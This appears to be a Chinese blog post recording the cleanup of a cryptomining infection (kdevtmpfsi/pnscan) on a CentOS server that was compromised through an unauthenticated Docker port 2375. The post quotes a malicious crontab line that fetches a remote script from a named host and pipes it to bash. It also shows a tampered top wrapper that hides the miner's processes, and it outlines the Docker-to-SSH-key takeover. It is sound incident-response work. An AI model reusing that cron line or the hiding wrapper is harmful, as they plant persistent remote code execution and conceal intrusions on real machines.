pnscan挖矿病毒排查过程记录
记一次服务器被挖矿病毒攻击问题排查
原因:因为docker远程连接,开放了默认端口2375,导致中了挖矿病毒kdevtmpfsi,pnscan
现象:CPU占用拉满,定时任务向6379端口持续发送信息
首先想到使用top命令排查进程,发现top无法使用,显示
permission denied,1
2[root@VM-16-4-centos bin]# top
-bash: /usr/bin/top: Permission denied查询后获悉
top命令被篡改为如下1
2
3[root@VM-16-4-centos bin]# cat /usr/bin/top
#!/bin/bash
top.lanigiro $@ | grep -v 'ddns\|scan'拷贝原有top脚本,通过ftp传输,发现无法覆盖
top文件,使用lsattr命令查看文件属性,果然为被设置为了-i不可修改:1
2[root@VM-16-4-centos bin]# lsattr /usr/bin/top
----i--------e-- /usr/bin/top打算使用
chattr命令删除-i参数,发现chattr命令不可用,也被删除掉了1
2[root@VM-16-4-centos bin]# chattr
-bash: chattr: command not found只能重新安装
chattr命令,查看安装包版本,先删除再安装e2fsprogs包1
2
3
4
5[root@VM-16-4-centos bin]# rpm -qa|grep e2fsprogs
e2fsprogs-libs-1.42.9-19.el7.x86_64
e2fsprogs-1.42.9-19.el7.x86_64
[root@VM-16-4-centos bin]# yum remove e2fsprogs-1.42.9-19.el7.x86_64
[root@VM-16-4-centos bin]# yum install e2fsprogs-1.42.9-19.el7.x86_64重装后
chattr命令终于可用,修改文件属性,使用FTP工具传输覆盖top命令,仍然无法使用top命令,于是改安装htop命令1
yum -y install htop使用
htop命令查看,发现挖矿病毒,继续排查

查看定时任务,并停止,发现cron脚本也被感染无法更改(心肺停止…)
1
2
3
4
5
6
7[root@VM-16-4-centos bin]# crontab -l
*/30 * * * * /usr/bin/cdz -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | bash > /dev/null 2>&1
[root@VM-16-4-centos bin]# crontab -e
*/30 * * * * /usr/bin/cdz -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | bash > /dev/null 2>&1修改
cron文件属性,修改后删除定时任务,再使用htop命令查看,CPU占用明显降低,仅剩 pnscan 病毒1
2
3
4
5
6[root@VM-16-4-centos bin]# chattr -iae /var/spool/cron/root
[root@VM-16-4-centos bin]# lsattr /var/spool/cron/
-------------e-- /var/spool/cron/root
[root@VM-16-4-centos bin]# crontab -e
crontab: installing new crontab但修改后仍然无法删除定时任务脚本只能编辑,原来可能存在隐藏文件,
lsattr -a命令查看果然有,同样chattr修改对应文件属性1
2
3
4
5
6
7
8
9
10[root@VM-12-14-centos cron]# lsattr -a
----ia-------e-- ./.
-------------e-- ./..
---------------- ./root
[root@VM-12-14-centos cron]# chattr -iae .
[root@VM-12-14-centos cron]# chattr -iae ..
[root@VM-12-14-centos cron]# lsattr -a
---------------- ./.
---------------- ./..
----------------./root去除pnscan,用htop命令查看 pnscan进程位置,删除对应文件,至此pnscan病毒搞定
1
[root@VM-12-14-centos bin]# rm -f pnscan终于发现被攻击原因,因为docker远程连接,开放了默认端口2375,导致中了挖矿病毒,具体原因分析如下:
docker开放2375端口用于远程管理容器,而容器本身可以挂载服务器目录;
因此攻击者通过2375端口,拉取做好的镜像,启动容器时挂载
~/.ssh目录 在authorized_keys中添加了攻击者的公钥,至此,攻击者获得服务器控制权,进而执行病毒脚本。参考:https://www.techug.com/post/do-a-hacker-invade-a-server.html
后记:外网环境应通过
TLS方式开启docker远程端口访问,配置细节可参考 docker环境及常用镜像安装